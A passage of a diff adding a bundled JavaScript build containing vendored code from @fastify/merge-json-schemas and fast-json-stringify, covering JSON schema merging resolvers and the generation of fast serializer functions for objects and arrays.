booleanOr(keyword, values2, mergedSchema) { + for (const value of values2) { + if (value === true) { + mergedSchema[keyword] = true; + return; + } + } + mergedSchema[keyword] = false; + } + module.exports = { + arraysIntersection, + hybridArraysIntersection, + arraysUnion, + minNumber, + maxNumber, + commonMultiple, + allEqual, + booleanAnd, + booleanOr, + skip + }; + } +}); + +// node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/index.js +var require_merge_json_schemas = __commonJS({ + "node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/index.js"(exports, module) { + "use strict"; + var { dequal: deepEqual } = require_dist3(); + var resolvers = require_resolvers(); + var errors = require_errors4(); + var keywordsResolvers = { + $id: resolvers.skip, + type: resolvers.hybridArraysIntersection, + enum: resolvers.arraysIntersection, + minLength: resolvers.maxNumber, + maxLength: resolvers.minNumber, + minimum: resolvers.maxNumber, + maximum: resolvers.minNumber, + multipleOf: resolvers.commonMultiple, + exclusiveMinimum: resolvers.maxNumber, + exclusiveMaximum: resolvers.minNumber, + minItems: resolvers.maxNumber, + maxItems: resolvers.minNumber, + maxProperties: resolvers.minNumber, + minProperties: resolvers.maxNumber, + const: resolvers.allEqual, + default: resolvers.allEqual, + format: resolvers.allEqual, + required: resolvers.arraysUnion, + properties: mergeProperties, + patternProperties: mergeObjects, + additionalProperties: mergeSchemasResolver, + items: mergeItems, + additionalItems: mergeAdditionalItems, + definitions: mergeObjects, + $defs: mergeObjects, + nullable: resolvers.booleanAnd, + oneOf: mergeOneOf, + anyOf: mergeOneOf, + allOf: resolvers.arraysUnion, + not: mergeSchemasResolver, + if: mergeIfThenElseSchemas, + then: resolvers.skip, + else: resolvers.skip, + dependencies: mergeDependencies, + dependentRequired: mergeDependencies, + dependentSchemas: mergeObjects, + propertyNames: mergeSchemasResolver, + uniqueItems: resolvers.booleanOr, + contains: mergeSchemasResolver + }; + function mergeSchemasResolver(keyword, values2, mergedSchema, _schemas, options) { + mergedSchema[keyword] = _mergeSchemas(values2, options); + } + function cartesianProduct(arrays) { + let result = [[]]; + for (const array2 of arrays) { + const temp = []; + for (const x of result) { + for (const y of array2) { + temp.push([...x, y]); + } + } + result = temp; + } + return result; + } + function mergeOneOf(keyword, values2, mergedSchema, _schemas, options) { + if (values2.length === 1) { + mergedSchema[keyword] = values2[0]; + return; + } + const product = cartesianProduct(values2); + const mergedOneOf = []; + for (const combination of product) { + try { + const mergedSchema2 = _mergeSchemas(combination, options); + if (mergedSchema2 !== void 0) { + mergedOneOf.push(mergedSchema2); + } + } catch (error51) { + if (error51 instanceof errors.MergeError) continue; + throw error51; + } + } + mergedSchema[keyword] = mergedOneOf; + } + function getSchemaForItem(schema, index2) { + const { items, additionalItems } = schema; + if (Array.isArray(items)) { + if (index2 < items.length) { + return items[index2]; + } + return additionalItems; + } + if (items !== void 0) { + return items; + } + return additionalItems; + } + function mergeItems(keyword, values2, mergedSchema, schemas, options) { + let maxArrayItemsLength = 0; + for (const itemsSchema of values2) { + if (Array.isArray(itemsSchema)) { + maxArrayItemsLength = Math.max(maxArrayItemsLength, itemsSchema.length); + } + } + if (maxArrayItemsLength === 0) { + mergedSchema[keyword] = _mergeSchemas(values2, options); + return; + } + const mergedItemsSchemas = []; + for (let i = 0; i < maxArrayItemsLength; i++) { + const indexItemSchemas = []; + for (const schema of schemas) { + const itemSchema = getSchemaForItem(schema, i); + if (itemSchema !== void 0) { + indexItemSchemas.push(itemSchema); + } + } + mergedItemsSchemas[i] = _mergeSchemas(indexItemSchemas, options); + } + mergedSchema[keyword] = mergedItemsSchemas; + } + function mergeAdditionalItems(keyword, values2, mergedSchema, schemas, options) { + let hasArrayItems = false; + for (const schema of schemas) { + if (Array.isArray(schema.items)) { + hasArrayItems = true; + break; + } + } + if (!hasArrayItems) { + mergedSchema[keyword] = _mergeSchemas(values2, options); + return; + } + const mergedAdditionalItemsSchemas = []; + for (const schema of schemas) { + let additionalItemsSchema = schema.additionalItems; + if (additionalItemsSchema === void 0 && !Array.isArray(schema.items)) { + additionalItemsSchema = schema.items; + } + if (additionalItemsSchema !== void 0) { + mergedAdditionalItemsSchemas.push(additionalItemsSchema); + } + } + mergedSchema[keyword] = _mergeSchemas(mergedAdditionalItemsSchemas, options); + } + function getSchemaForProperty(schema, propertyName) { + const { properties, patternProperties, additionalProperties } = schema; + if (properties?.[propertyName] !== void 0) { + return properties[propertyName]; + } + for (const pattern of Object.keys(patternProperties ?? {})) { + const regexp = new RegExp(pattern); + if (regexp.test(propertyName)) { + return patternProperties[pattern]; + } + } + return additionalProperties; + } + function mergeProperties(keyword, _values, mergedSchema, schemas, options) { + const foundProperties = {}; + for (const currentSchema of schemas) { + const properties = currentSchema.properties ?? {}; + for (const propertyName of Object.keys(properties)) { + if (foundProperties[propertyName] !== void 0) continue; + const propertySchema = properties[propertyName]; + foundProperties[propertyName] = [propertySchema]; + for (const anotherSchema of schemas) { + if (currentSchema === anotherSchema) continue; + const propertySchema2 = getSchemaForProperty(anotherSchema, propertyName); + if (propertySchema2 !== void 0) { + foundProperties[propertyName].push(propertySchema2); + } + } + } + } + const mergedProperties = {}; + for (const property of Object.keys(foundProperties)) { + const propertySchemas = foundProperties[property]; + mergedProperties[property] = _mergeSchemas(propertySchemas, options); + } + mergedSchema[keyword] = mergedProperties; + } + function mergeObjects(keyword, values2, mergedSchema, _schemas, options) { + const objectsProperties = {}; + for (const properties of values2) { + for (const propertyName of Object.keys(properties)) { + if (objectsProperties[propertyName] === void 0) { + objectsProperties[propertyName] = []; + } + objectsProperties[propertyName].push(properties[propertyName]); + } + } + const mergedProperties = {}; + for (const propertyName of Object.keys(objectsProperties)) { + const propertySchemas = objectsProperties[propertyName]; + const mergedPropertySchema = _mergeSchemas(propertySchemas, options); + mergedProperties[propertyName] = mergedPropertySchema; + } + mergedSchema[keyword] = mergedProperties; + } + function mergeIfThenElseSchemas(_keyword, _values, mergedSchema, schemas, options) { + for (let i = 0; i < schemas.length; i++) { + const subSchema = { + if: schemas[i].if, + then: schemas[i].then, + else: schemas[i].else + }; + if (subSchema.if === void 0) continue; + if (mergedSchema.if === void 0) { + mergedSchema.if = subSchema.if; + if (subSchema.then !== void 0) { + mergedSchema.then = subSchema.then; + } + if (subSchema.else !== void 0) { + mergedSchema.else = subSchema.else; + } + continue; + } + if (mergedSchema.then !== void 0) { + mergedSchema.then = _mergeSchemas([mergedSchema.then, subSchema], options); + } + if (mergedSchema.else !== void 0) { + mergedSchema.else = _mergeSchemas([mergedSchema.else, subSchema], options); + } + } + } + function mergeDependencies(keyword, values2, mergedSchema) { + const mergedDependencies = {}; + for (const dependencies of values2) { + for (const propertyName of Object.keys(dependencies)) { + if (mergedDependencies[propertyName] === void 0) { + mergedDependencies[propertyName] = []; + } + const mergedPropertyDependencies = mergedDependencies[propertyName]; + for (const propertyDependency of dependencies[propertyName]) { + if (!mergedPropertyDependencies.includes(propertyDependency)) { + mergedPropertyDependencies.push(propertyDependency); + } + } + } + } + mergedSchema[keyword] = mergedDependencies; + } + function _mergeSchemas(schemas, options) { + if (schemas.length === 0) return {}; + if (schemas.length === 1) return schemas[0]; + const mergedSchema = {}; + const keywords = {}; + let allSchemasAreTrue = true; + for (const schema of schemas) { + if (schema === false) return false; + if (schema === true) continue; + allSchemasAreTrue = false; + for (const keyword of Object.keys(schema)) { + if (keywords[keyword] === void 0) { + keywords[keyword] = []; + } + keywords[keyword].push(schema[keyword]); + } + } + if (allSchemasAreTrue) return true; + for (const keyword of Object.keys(keywords)) { + const keywordValues = keywords[keyword]; + const resolver = options.resolvers[keyword] ?? options.defaultResolver; + resolver(keyword, keywordValues, mergedSchema, schemas, options); + } + return mergedSchema; + } + function defaultResolver(keyword, values2, mergedSchema, _schemas, options) { + const onConflict = options.onConflict ?? "throw"; + if (values2.length === 1 || onConflict === "first") { + mergedSchema[keyword] = values2[0]; + return; + } + let allValuesEqual = true; + for (let i = 1; i < values2.length; i++) { + if (!deepEqual(values2[i], values2[0])) { + allValuesEqual = false; + break; + } + } + if (allValuesEqual) { + mergedSchema[keyword] = values2[0]; + return; + } + if (onConflict === "throw") { + throw new errors.ResolverNotFoundError(keyword, values2); + } + if (onConflict === "skip") { + return; + } + throw new errors.InvalidOnConflictOptionError(onConflict); + } + function mergeSchemas(schemas, options = {}) { + if (options.defaultResolver === void 0) { + options.defaultResolver = defaultResolver; + } + options.resolvers = { ...keywordsResolvers, ...options.resolvers }; + const mergedSchema = _mergeSchemas(schemas, options); + return mergedSchema; + } + module.exports = { mergeSchemas, keywordsResolvers, defaultResolver, ...errors }; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/merge-schemas.js +var require_merge_schemas = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/merge-schemas.js"(exports, module) { + "use strict"; + var { mergeSchemas: _mergeSchemas } = require_merge_json_schemas(); + function mergeSchemas(schemas) { + return _mergeSchemas(schemas, { onConflict: "skip" }); + } + module.exports = mergeSchemas; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/standalone.js +var require_standalone3 = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/standalone.js"(exports, module) { + "use strict"; + function buildStandaloneCode(contextFunc, context2, serializer, validator) { + let ajvDependencyCode = ""; + if (context2.validatorSchemasIds.size > 0) { + ajvDependencyCode += "const Validator = require('fast-json-stringify/lib/validator')\n"; + ajvDependencyCode += `const validatorState = ${JSON.stringify(validator.getState())} +`; + ajvDependencyCode += "const validator = Validator.restoreFromState(validatorState)\n"; + } else { + ajvDependencyCode += "const validator = null\n"; + } + const { schema, ...serializerState } = serializer.getState(); + return ` + 'use strict' + + const Serializer = require('fast-json-stringify/lib/serializer') + const serializerState = ${JSON.stringify(serializerState)} + const serializer = Serializer.restoreFromState(serializerState) + + ${ajvDependencyCode} + + module.exports = ${contextFunc.toString()}(validator, serializer)`; + } + module.exports = buildStandaloneCode; + module.exports.dependencies = { + Serializer: require_serializer(), + Validator: require_validator() + }; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/index.js +var require_fast_json_stringify = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/index.js"(exports, module) { + "use strict"; + var { RefResolver } = require_json_schema_ref_resolver(); + var Serializer = require_serializer(); + var Validator = require_validator(); + var Location = require_location(); + var validate = require_schema_validator(); + var mergeSchemas = require_merge_schemas(); + var largeArraySize = 2e4; + var largeArrayMechanism = "default"; + var serializerFns = ` +const { + asString, + asNumber, + asBoolean, + asDateTime, + asDate, + asTime, + asUnsafeString +} = serializer + +const asInteger = serializer.asInteger.bind(serializer) + +`; + var validRoundingMethods = /* @__PURE__ */ new Set([ + "floor", + "ceil", + "round", + "trunc" + ]); + var validLargeArrayMechanisms = /* @__PURE__ */ new Set([ + "default", + "json-stringify" + ]); + var schemaIdCounter = 0; + function isValidSchema(schema, name) { + if (!validate(schema)) { + if (name) { + name = `"${name}" `; + } else { + name = ""; + } + const first = validate.errors[0]; + const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); + err.errors = isValidSchema.errors; + throw err; + } + } + function resolveRef2(context2, location) { + const ref = location.schema.$ref; + let hashIndex = ref.indexOf("#"); + if (hashIndex === -1) { + hashIndex = ref.length; + } + const schemaId = ref.slice(0, hashIndex) || location.schemaId; + const jsonPointer = ref.slice(hashIndex) || "#"; + const schema = context2.refResolver.getSchema(schemaId, jsonPointer); + if (schema === null) { + throw new Error(`Cannot find reference "${ref}"`); + } + const newLocation = new Location(schema, schemaId, jsonPointer); + if (schema.$ref !== void 0) { + return resolveRef2(context2, newLocation); + } + return newLocation; + } + function getMergedLocation(context2, mergedSchemaId) { + const mergedSchema = context2.refResolver.getSchema(mergedSchemaId, "#"); + return new Location(mergedSchema, mergedSchemaId, "#"); + } + function getSchemaId(schema, rootSchemaId) { + if (schema.$id && schema.$id.charAt(0) !== "#") { + return schema.$id; + } + return rootSchemaId; + } + function getSafeSchemaRef(context2, location) { + let schemaRef = location.getSchemaRef() || ""; + if (schemaRef.startsWith(context2.rootSchemaId)) { + schemaRef = schemaRef.replace(context2.rootSchemaId, "") || "#"; + } + return schemaRef; + } + function build(schema, options) { + isValidSchema(schema); + options = options || {}; + const context2 = { + functions: [], + functionsCounter: 0, + functionsNamesBySchema: /* @__PURE__ */ new Map(), + options, + refResolver: new RefResolver(), + rootSchemaId: schema.$id || `__fjs_root_${schemaIdCounter++}`, + validatorSchemasIds: /* @__PURE__ */ new Set(), + mergedSchemasIds: /* @__PURE__ */ new Map(), + recursiveSchemas: /* @__PURE__ */ new Set(), + recursivePaths: /* @__PURE__ */ new Set(), + buildingSet: /* @__PURE__ */ new Set(), + uid: 0 + }; + const schemaId = getSchemaId(schema, context2.rootSchemaId); + if (!context2.refResolver.hasSchema(schemaId)) { + context2.refResolver.addSchema(schema, context2.rootSchemaId); + } + if (options.schema) { + for (const key in options.schema) { + const schema2 = options.schema[key]; + const schemaId2 = getSchemaId(schema2, key); + if (!context2.refResolver.hasSchema(schemaId2)) { + isValidSchema(schema2, key); + context2.refResolver.addSchema(schema2, key); + } + } + } + if (options.rounding) { + if (!validRoundingMethods.has(options.rounding)) { + throw new Error(`Unsupported integer rounding method ${options.rounding}`); + } + } + if (options.largeArrayMechanism) { + if (validLargeArrayMechanisms.has(options.largeArrayMechanism)) { + largeArrayMechanism = options.largeArrayMechanism; + } else { + throw new Error(`Unsupported large array mechanism ${options.largeArrayMechanism}`); + } + } + if (options.largeArraySize) { + const largeArraySizeType = typeof options.largeArraySize; + let parsedNumber; + if (largeArraySizeType === "string" && Number.isFinite(parsedNumber = Number.parseInt(options.largeArraySize, 10))) { + largeArraySize = parsedNumber; + } else if (largeArraySizeType === "number" && Number.isInteger(options.largeArraySize)) { + largeArraySize = options.largeArraySize; + } else if (largeArraySizeType === "bigint") { + largeArraySize = Number(options.largeArraySize); + } else { + throw new Error(`Unsupported large array size. Expected integer-like, got ${typeof options.largeArraySize} with value ${options.largeArraySize}`); + } + } + const location = new Location(schema, context2.rootSchemaId); + detectRecursiveSchemas(context2, location); + const code = buildValue(context2, location, "input"); + let contextFunctionCode = ` + ${serializerFns} + const JSON_STR_BEGIN_OBJECT = '{' + const JSON_STR_END_OBJECT = '}' + const JSON_STR_BEGIN_ARRAY = '[' + const JSON_STR_END_ARRAY = ']' + const JSON_STR_COMMA = ',' + const JSON_STR_COLONS = ':' + const JSON_STR_QUOTE = '"' + const JSON_STR_EMPTY_OBJECT = JSON_STR_BEGIN_OBJECT + JSON_STR_END_OBJECT + const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY + const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE + const JSON_STR_NULL = 'null' + `; + if (code === "json += anonymous0(input)") { + contextFunctionCode += ` + ${context2.functions.join("\n")} + const main = anonymous0 + return main + `; + } else { + contextFunctionCode += ` + function main (input) { + let json = '' + ${code} + return json + } + ${context2.functions.join("\n")} + return main + `; + } + const serializer = new Serializer(options); + const validator = new Validator(options.ajv); + for (const schemaId2 of context2.validatorSchemasIds) { + const schema2 = context2.refResolver.getSchema(schemaId2); + validator.addSchema(schema2, schemaId2); + const dependencies = context2.refResolver.getSchemaDependencies(schemaId2); + for (const [schemaId3, schema3] of Object.entries(dependencies)) { + validator.addSchema(schema3, schemaId3); + } + } + if (options.mode === "debug") { + return { + validator, + serializer, + code: `validator +serializer +${contextFunctionCode}`, + ajv: validator.ajv + }; + } + const contextFunc = new Function("validator", "serializer", contextFunctionCode); + if (options.mode === "standalone") { + const buildStandaloneCode = require_standalone3(); + return buildStandaloneCode(contextFunc, context2, serializer, validator); + } + return contextFunc(validator, serializer); + } + var objectKeywords = [ + "properties", + "required", + "additionalProperties", + "patternProperties", + "maxProperties", + "minProperties", + "dependencies" + ]; + var arrayKeywords = [ + "items", + "additionalItems", + "maxItems", + "minItems", + "uniqueItems", + "contains" + ]; + var stringKeywords = [ + "maxLength", + "minLength", + "pattern" + ]; + var numberKeywords = [ + "multipleOf", + "maximum", + "exclusiveMaximum", + "minimum", + "exclusiveMinimum" + ]; + function inferTypeByKeyword(schema) { + for (const keyword of objectKeywords) { + if (keyword in schema) return "object"; + } + for (const keyword of arrayKeywords) { + if (keyword in schema) return "array"; + } + for (const keyword of stringKeywords) { + if (keyword in schema) return "string"; + } + for (const keyword of numberKeywords) { + if (keyword in schema) return "number"; + } + return schema.type; + } + function buildExtraObjectPropertiesSerializer(context2, location, addComma, objVar) { + const schema = location.schema; + const propertiesKeys = Object.keys(schema.properties || {}); + let code = ` + for (const key of Object.keys(${objVar})) { + if ( + ${propertiesKeys.length > 0 ? propertiesKeys.map((k) => `key === ${JSON.stringify(k)}`).join(" || ") + " ||" : ""} + ${objVar}[key] === undefined || + typeof ${objVar}[key] === 'function' || + typeof ${objVar}[key] === 'symbol' + ) continue + const value = ${objVar}[key] + `; + const patternPropertiesLocation = location.getPropertyLocation("patternProperties"); + const patternPropertiesSchema = patternPropertiesLocation.schema; + if (patternPropertiesSchema !== void 0) { + for (const propertyKey in patternPropertiesSchema) { + const propertyLocation = patternPropertiesLocation.getPropertyLocation(propertyKey); + code += ` + if (/${propertyKey.replace(/\\*\//g, "\\/")}/.test(key)) { + ${addComma} + json += asString(key) + JSON_STR_COLONS + ${buildValue(context2, propertyLocation, "value")} + continue + } + `; + } + } + const additionalPropertiesLocation = location.getPropertyLocation("additionalProperties"); + const additionalPropertiesSchema = additionalPropertiesLocation.schema; + if (additionalPropertiesSchema !== void 0) { + if (additionalPropertiesSchema === true) { + code += ` + ${addComma} + json += asString(key) + JSON_STR_COLONS + JSON.stringify(value) + `; + } else { + const propertyLocation = location.getPropertyLocation("additionalProperties"); + code += ` + ${addComma} + json += asString(key) + JSON_STR_COLONS + ${buildValue(context2, propertyLocation, "value")} + `; + } + } + code += ` + } + `; + return code; + } + function buildInnerObject(context2, location, objVar) { + const schema = location.schema; + const propertiesLocation = location.getPropertyLocation("properties"); + const requiredProperties = schema.required || []; + const propertiesKeys = Object.keys(schema.properties || {}).sort( + (key1, key2) => { + const required1 = requiredProperties.includes(key1); + const required2 = requiredProperties.includes(key2); + return required1 === required2 ? 0 : required1 ? -1 : 1; + } + ); + let code = ""; + for (const key of requiredProperties) { + if (!propertiesKeys.includes(key)) { + const sanitizedKey = JSON.stringify(key); + code += `if (${objVar}[${sanitizedKey}] === undefined) throw new Error('${sanitizedKey.replace(/'/g, "\\'")} is required!') +`; + } + } + code += "json += JSON_STR_BEGIN_OBJECT\n"; + const localUid = context2.uid++; + let addComma = ""; + if (propertiesKeys.length > 0 && requiredProperties.includes(propertiesKeys[0])) { + for (let i = 0; i < propertiesKeys.length; i++) { + const key = propertiesKeys[i]; + const propertyLocation = propertiesLocation.getPropertyLocation(key); + let resolvedLocation = propertyLocation; + if (propertyLocation.schema.$ref) { + resolvedLocation = resolveRef2(context2, propertyLocation); + } + const sanitizedKey = JSON.stringify(key); + const value = `value_${key.replace(/[^a-zA-Z0-9]/g, "_")}_${context2.uid++}`; + const defaultValue = resolvedLocation.schema.default; + const isRequired = requiredProperties.includes(key); + const currentAddComma = i === 0 ? "" : "json += JSON_STR_COMMA"; + code += ` + const ${value} = ${objVar}[${sanitizedKey}] + if (${value} !== undefined) { + ${currentAddComma} + json += ${JSON.stringify(sanitizedKey + ":")} + ${buildValue(context2, resolvedLocation, `${value}`)} + }`; + if (defaultValue !== void 0) { + code += ` else { + ${currentAddComma} + json += ${JSON.stringify(sanitizedKey + ":" + JSON.stringify(defaultValue))} + } + `; + } else if (isRequired) { + code += ` else { + throw new Error('${sanitizedKey.replace(/'/g, "\\'")} is required!') + } + `; + } else { + code += "\n"; + } + } + addComma = "json += JSON_STR_COMMA"; + } else { + const needsRuntimeComma = propertiesKeys.length > 1 || schema.patternProperties || schema.additionalProperties !== void 0 && schema.additionalProperties !== false; + if (needsRuntimeComma) { + code += `let addComma_${localUid} = false +`; + addComma = `!addComma_${localUid} && (addComma_${localUid} = true) || (json += JSON_STR_COMMA)`; + } + for (const key of propertiesKeys) { + let propertyLocation = propertiesLocation.getPropertyLocation(key); + if (propertyLocation.schema.$ref) { + propertyLocation = resolveRef2(context2, propertyLocation); + } + const sanitizedKey = JSON.stringify(key); + const value = `value_${key.replace(/[^a-zA-Z0-9]/g, "_")}_${context2.uid++}`; + const defaultValue = propertyLocation.schema.default; + const isRequired = requiredProperties.includes(key); + code += ` + const ${value} = ${objVar}[${sanitizedKey}] + if (${value} !== undefined) { + ${addComma} + json += ${JSON.stringify(sanitizedKey + ":")} + ${buildValue(context2, propertyLocation, `${value}`)} + }`; + if (defaultValue !== void 0) { + code += ` else { + ${addComma} + json += ${JSON.stringify(sanitizedKey + ":" + JSON.stringify(defaultValue))} + } + `; + } else if (isRequired) { + code += ` else { + throw new Error('${sanitizedKey.replace(/'/g, "\\'")} is required!') + } + `; + } else { + code += "\n"; + } + } + } + if (schema.patternProperties || schema.additionalProperties) { + code += buildExtraObjectPropertiesSerializer(context2, location, addComma, objVar); + } + code += ` + json += JSON_STR_END_OBJECT + `; + return code; + } + function mergeLocations(context2, mergedSchemaId, mergedLocations) { + for (let i = 0, mergedLocationsLength = mergedLocations.length; i < mergedLocationsLength; i++) { + const location = mergedLocations[i]; + const schema = location.schema; + if (schema.$ref) { + mergedLocations[i] = resolveRef2(context2, location); + } + } + const mergedSchemas = []; + for (const location of mergedLocations) { + const schema = cloneOriginSchema(context2, location.schema, location.schemaId); + delete schema.$id; + mergedSchemas.push(schema); + } + const mergedSchema = mergeSchemas(mergedSchemas); + const mergedLocation = new Location(mergedSchema, mergedSchemaId); + context2.refResolver.addSchema(mergedSchema, mergedSchemaId); + return mergedLocation; + } + function cloneOriginSchema(context2, schema, schemaId) { + const clonedSchema = Array.isArray(schema) ? [] : {}; + if (schema.$id !== void 0 && schema.$id.charAt(0) !== "#") { + schemaId = schema.$id; + } + const mergedSchemaRef = context2.mergedSchemasIds.get(schema); + if (mergedSchemaRef) { + context2.mergedSchemasIds.set(clonedSchema, mergedSchemaRef); + } + for (const key in schema) { + let value = schema[key]; + if (key === "$ref" && typeof value === "string" && value.charAt(0) === "#") { + value = schemaId + value; + } + if (typeof value === "object" && value !== null) { + value = cloneOriginSchema(context2, value, schemaId); + } + clonedSchema[key] = value; + } + return clonedSchema; + } + function toJSON(variableName) { + return `(${variableName} && typeof ${variableName}.toJSON === 'function') + ? ${variableName}.toJSON() + : ${variableName} + `; + } + function buildObject(context2, location, input) { + const schema = location.schema; + if (context2.functionsNamesBySchema.has(schema)) { + const funcName = context2.functionsNamesBySchema.get(schema); + return `json += ${funcName}(${input})`; + } + const nullable2 = schema.nullable === true; + const schemaId = location.schemaId || ""; + const jsonPointer = location.jsonPointer || ""; + const fullPath = `${schemaId}#${jsonPointer}`; + if (context2.recursivePaths.has(fullPath) || context2.buildingSet.has(schema) || schemaId !== "") { + const functionName = generateFuncName(context2); + context2.functionsNamesBySchema.set(schema, functionName); + const schemaRef = getSafeSchemaRef(context2, location); + const functionCode = ` + // ${schemaRef} + function ${functionName} (input) { + const obj = ${toJSON("input")} + if (obj === null) return ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} + let json = '' + + ${buildInnerObject(context2, location, "obj")} + return json + } + `; + context2.functions.push(functionCode); + return `json += ${functionName}(${input})`; + } + context2.buildingSet.add(schema); + const objVar = `obj_${context2.uid++}`; + const code = ` + const ${objVar} = ${toJSON(input)} + if (${objVar} === null) { + json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} + } else { + ${buildInnerObject(context2, location, objVar)} + } + `; + context2.buildingSet.delete(schema); + return code; + } + function buildArray(context2, location, input) { + const schema = location.schema; + let itemsLocation = location.getPropertyLocation("items"); + itemsLocation.schema = itemsLocation.schema || {}; + if (itemsLocation.schema.$ref) { + itemsLocation = resolveRef2(context2, itemsLocation); + } + const itemsSchema = itemsLocation.schema; + if (context2.functionsNamesBySchema.has(schema)) { + const funcName = context2.functionsNamesBySchema.get(schema); + return `json += ${funcName}(${input})`; + } + const nullable2 = schema.nullable === true; + const schemaId = location.schemaId || ""; + const jsonPointer = location.jsonPointer || ""; + const fullPath = `${schemaId}#${jsonPointer}`; + if (context2.recursivePaths.has(fullPath) || context2.buildingSet.has(schema) || schemaId !== "") { + const functionName = generateFuncName(context2); + context2.functionsNamesBySchema.set(schema, functionName); + const schemaRef = getSafeSchemaRef(context2, location); + let functionCode = ` + function ${functionName} (obj) { + // ${schemaRef} + let json = '' + `; + functionCode += ` + if (obj === null) return ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} + if (!Array.isArray(obj)) { + throw new TypeError(\`The value of '${schemaRef}' does not match schema definition.\`) + } + const arrayLength = obj.length + `; + if (!schema.additionalItems && Array.isArray(itemsSchema)) { + functionCode += ` + if (arrayLength > ${itemsSchema.length}) { + throw new Error(\`Item at ${itemsSchema.length} does not match schema definition.\`) + } + `; + } + if (largeArrayMechanism === "json-stringify") { + functionCode += `if (arrayLength >= ${largeArraySize}) return JSON.stringify(obj) +`; + } + functionCode += ` + json += JSON_STR_BEGIN_ARRAY + `; + if (Array.isArray(itemsSchema)) { + for (let i = 0, itemsSchemaLength = itemsSchema.length; i < itemsSchemaLength; i++) { + let item = itemsSchema[i]; + let itemLocation = itemsLocation.getPropertyLocation(i); + if (itemLocation.schema.$ref) { + itemLocation = resolveRef2(context2, itemLocation); + item = itemLocation.schema; + } + const value = `value_${i}`; + functionCode += `const ${value} = obj[${i}]`; + const tmpRes = buildValue(context2, itemLocation, value); + functionCode += ` + if (${i} < arrayLength) { + if (${buildArrayTypeCondition(item.type, value)}) { + if (${i}) { + json += JSON_STR_COMMA + } + ${tmpRes} + } else { + throw new Error(\`Item at ${i} does not match schema definition.\`) + } + } + `; + } + if (schema.additionalItems) { + functionCode += ` + for (let i = ${itemsSchema.length}; i < arrayLength; i++) { + if (i) { + json += JSON_STR_COMMA + } + json += JSON.stringify(obj[i]) + }`; + } + } else { + const code = buildValue(context2, itemsLocation, "value"); + functionCode += ` + if (arrayLength > 0) { + const value = obj[0] + ${code} + for (let i = 1; i < arrayLength; i++) { + json += JSON_STR_COMMA + const value = obj[i] + ${code} + } + }`; + } + functionCode += ` + return json + JSON_STR_END_ARRAY + }`; + context2.functions.push(functionCode); + return `json += ${functionName}(${input})`; + } + context2.buildingSet.add(schema); + const safeSchemaRef = getSafeSchemaRef(context2, location); + const objVar = `obj_${context2.uid++}`; + let inlinedCode = ` + const ${objVar} = ${input} + if (${objVar} === null) { + json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} + } else if (!Array.isArray(${objVar})) { + throw new TypeError(\`The value of '${safeSchemaRef}' does not match schema definition.\`) + } else { + const arrayLength_${objVar} = ${objVar}.length + `; + if (!schema.additionalItems && Array.isArray(itemsSchema)) { + inlinedCode += ` + if (arrayLength_${objVar} > ${itemsSchema.length}) { + throw new Error(\`Item at ${itemsSchema.length} does not match schema definition.\`) + } + `; + } + if (largeArrayMechanism === "json-stringify") { + inlinedCode += `if (arrayLength_${objVar} >= ${largeArraySize}) json += JSON.stringify(${objVar}) + else {`; + } + inlinedCode += ` + json += JSON_STR_BEGIN_ARRAY + `; + if (Array.isArray(itemsSchema)) { + const localUid = context2.uid++; + inlinedCode += `let addComma_${localUid} = false +`; + for (let i = 0, itemsSchemaLength = itemsSchema.length; i < itemsSchemaLength; i++) { + let item = itemsSchema[i]; + let itemLocation = itemsLocation.getPropertyLocation(i); + if (itemLocation.schema.$ref) { + itemLocation = resolveRef2(context2, itemLocation); + item = itemLocation.schema; + } + const value = `value_${i}_${context2.uid++}`; + inlinedCode += `const ${value} = ${objVar}[${i}]`; + const tmpRes = buildValue(context2, itemLocation, value); + inlinedCode += ` + if (${i} < arrayLength_${objVar}) { + if (${buildArrayTypeCondition(item.type, value)}) { + !addComma_${localUid} && (addComma_${localUid} = true) || (json += JSON_STR_COMMA) + ${tmpRes} + } else { + throw new Error(\`Item at ${i} does not match schema definition.\`) + } + } + `; + } + if (schema.additionalItems) { + inlinedCode += ` + for (let i = ${itemsSchema.length}; i < arrayLength_${objVar}; i++) { + !addComma_${localUid} && (addComma_${localUid} = true) || (json += JSON_STR_COMMA) + json += JSON.stringify(${objVar}[i]) + }`; + } + } else { + const code = buildValue(context2, itemsLocation, "value"); + inlinedCode += ` + if (arrayLength_${objVar} > 0) { + const value = ${objVar}[0] + ${code} + for (let i = 1; i < arrayLength_${objVar}; i++) { + json += JSON_STR_COMMA + const value = ${objVar}[i] + ${code} + } + }`; + } + inlinedCode += ` + json += JSON_STR_END_ARRAY + `; + if (largeArrayMechanism === "json-stringify") { + inlinedCode += "}"; + } + inlinedCode += "}"; + context2.buildingSet.delete(schema); + return inlinedCode; + } + function buildArrayTypeCondition(type, accessor) { + let condition; + switch (type) { + case "null": + condition = `${accessor} === null`; + break; + case "string": + condition = `typeof ${accessor} === 'string' || + ${accessor} === null || + ${accessor} instanceof Date || + ${accessor} instanceof RegExp || + ( + typeof ${accessor} === "object" && + typeof ${accessor}.toString === "function" && + ${accessor}.toString !== Object.prototype.toString + )`; + break; + case "integer": + condition = `Number.isInteger(${accessor})`; + break; + case "number": + condition = `Number.isFinite(${accessor})`; + break; + case "boolean": + condition = `typeof ${accessor} === 'boolean'`; + break; + case "object": + condition = `${accessor} && typeof ${accessor} 